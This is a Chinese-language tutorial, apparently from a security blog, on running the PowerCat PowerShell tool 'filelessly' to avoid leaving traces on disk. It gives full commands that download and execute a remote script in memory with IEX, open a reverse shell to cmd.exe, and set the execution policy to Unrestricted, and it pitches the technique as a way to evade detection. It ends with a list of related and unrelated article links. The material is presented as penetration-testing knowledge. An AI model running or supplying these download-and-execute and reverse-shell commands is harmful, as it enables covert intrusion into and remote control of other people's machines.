声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

无文件落地执行(fileless execution)是一种技术,用于避免在磁盘上留下文件痕迹,使得恶意行为更难被检测到。PowerCat 是一个基于 PowerShell 的渗透测试工具,可以使用 PowerShell 的特性实现无文件落地执行。

  1. 准备 PowerCat 脚本:将 PowerCat 的脚本托管在一个可以访问的远程服务器上,比如 GitHub Gist、Pastebin 或自建的 HTTP 服务器。

  2. 使用 PowerShell 命令直接从远程服务器下载并执行脚本

    • 使用 IEX(Invoke-Expression)和 Invoke-WebRequestInvoke-RestMethod 组合可以直接在内存中加载和执行脚本。
    • 以下是一个示例命令,通过 PowerShell 从远程服务器下载并执行 PowerCat:
IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1')

或者使用 Invoke-RestMethod

IEX (Invoke-RestMethod -Uri 'https://example.com/path/to/powercat.ps1')
  1. 执行 PowerCat 命令:在内存中加载 PowerCat 后,直接使用 PowerCat 提供的功能进行渗透测试。例如,使用 PowerCat 建立反向 shell:
powercat -c target_ip -p target_port -e cmd.exe
完整示例

假设 PowerCat 脚本托管在 https://example.com/path/to/powercat.ps1

IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1'); powercat -c target_ip -p target_port -e cmd.exe

此命令会在内存中下载并执行 PowerCat 脚本,并立即通过 PowerCat 建立反向 shell 连接。

注意事项
  • 安全性:确保托管脚本的远程服务器是安全的,防止脚本被篡改。

  • 权限:PowerShell 执行策略可能会限制脚本执行。需要以管理员权限运行 PowerShell 或调整执行策略:

Set-ExecutionPolicy Unrestricted -Scope Process
  • 检测和防御:尽管无文件落地执行可以降低被检测的可能性,但仍有其他检测和防御手段,例如基于行为的检测,因此在实际渗透测试中要综合考虑多种手段。

通过这些步骤,你可以实现 PowerCat 的无文件落地执行,直接在内存中下载并执行 PowerCat 脚本。

演示

远端机开启web服务,用于被控端下载powercat 脚本

攻击机开启监听

执行命令

攻击端成功接收

查看被控端执行目录文件列表,不存在powercat.ps1 文件,说明文件未落地执行,直接在内存中执行。

当然除了使用 IEX 进行无文件落地,还可以使用的方法有 4 种。

欢迎关注 公众号 “D1TASec” 查看文章。

Powercat 无文件落地执行技巧,你确定不进来看看?的更多相关文章

  1. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  2. linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...

  3. android无后缀二进制执行文件替代apk实现程序功能

    韩梦飞沙  韩亚飞  313134555@qq.com  yue31313  han_meng_fei_sha android无后缀二进制执行文件替代apk实现程序功能 实现将data/Android ...

  4. 无插件Vim编程技巧

    无插件Vim编程技巧 http://bbs.byr.cn/#!article/buptAUTA/59钻风 2014-03-24 09:43:46 发表于:vim  相信大家看过<简明Vim教程& ...

  5. 无插件VIM编程技巧(网摘)

    无插件VIM编程技巧 原文出处:[陈皓 coolshell] 相信大家看过<简明Vim教程>也玩了<Vim大冒险>的游戏了,相信大家对Vim都有一个好的入门了.我在这里把我日常 ...

  6. 渗透测试之无文件渗透简单使用-windows

    无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生.说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将pa ...

  7. 在 tornado 中异步无阻塞的执行耗时任务

    在 tornado 中异步无阻塞的执行耗时任务 在 linux 上 tornado 是基于 epoll 的事件驱动框架,在网络事件上是无阻塞的.但是因为 tornado 自身是单线程的,所以如果我们在 ...

  8. 从无文件技术到使用隐写术:检查Powload的演变

    来源:https://blog.trendmicro.com/trendlabs-security-intelligence/from-fileless-techniques-to-using-ste ...

  9. BAT文件语法和技巧(bat文件的编写及使用)

    源文链接:http://www.jb51.net/article/5828.htm 比较有用的东比较有用的东西 首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们 ...

  10. BAT文件语法和技巧

    首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任 ...

随机推荐

  1. .Net 的扩展方法

    // 扩展方法 // ps:js中的扩展方法 比如 给数组定义一个自定义的全局的方法 使用 prototype (原型链) // .Net 给 string 添加一些扩展方法 String 是一个密封 ...

  2. 全局和局部混入 mixins

    使用 mixins 混入 的目的 :复用代码,维护代码 : 局部混入: 全局混入 + 按钮权限控制 : ps:定义一个方法 ,checkPermission (str) str 是按钮的权限标识 , ...

  3. WSL默认安装目录

    我当前在win11下进行以下操作,其它系统版本有问题可以留言 一.安装WSL 前提条件:我们需要保证你的操作系统版本满足 **Windows 10 版本 2004 及更高版本(内部版本 19041 及 ...

  4. Java将html文本转成纯文本

    Java将html文本转成纯文本 public static String splitAndFilterString(String input, int length) { if (input == ...

  5. JavaScript String 对象-常用知识点

    JavaScript String 对象-常用知识点 对象用于处理文本(字符串). 对象创建方法: new String(). String 对象属性 属性 描述 constructor 对创建该对象 ...

  6. Python不同数据结构的元素频率统计

    1.list的词频统计 这里利用Python字典的键值对来进行统计.逻辑就是,根据list的内容生成一个字典,把要统计的列表元素的值作为字典的key,而后给字典中对应的key进行赋值,赋值方法采用字典 ...

  7. ubuntu系统下安装 steam 游戏平台

    方法1:安装命令: sudo snap install steam 方法2:下载安装: 地址: https://store.steampowered.com/about/

  8. 17.Kubernetes搭建高可用集群

    Kubernetes搭建高可用集群 前言 之前我们搭建的集群,只有一个master节点,当master节点宕机的时候,通过node将无法继续访问,而master主要是管理作用,所以整个集群将无法提供服 ...

  9. 【Azure App Service】在App Service for Windows上验证能占用的内存最大值

    问题描述 在创建App Service服务的时候,根据定价层不同,内存使用的最大值也有不同.但在实际测试中,发现内存最大只能占用2GB左右, 而定价层中内存分配明明是大于2GB(比如B3定价层的内存为 ...

  10. Nuxt.js 应用中的 webpackConfigs 事件钩子

    title: Nuxt.js 应用中的 webpackConfigs 事件钩子 date: 2024/11/20 updated: 2024/11/20 author: cmdragon excerp ...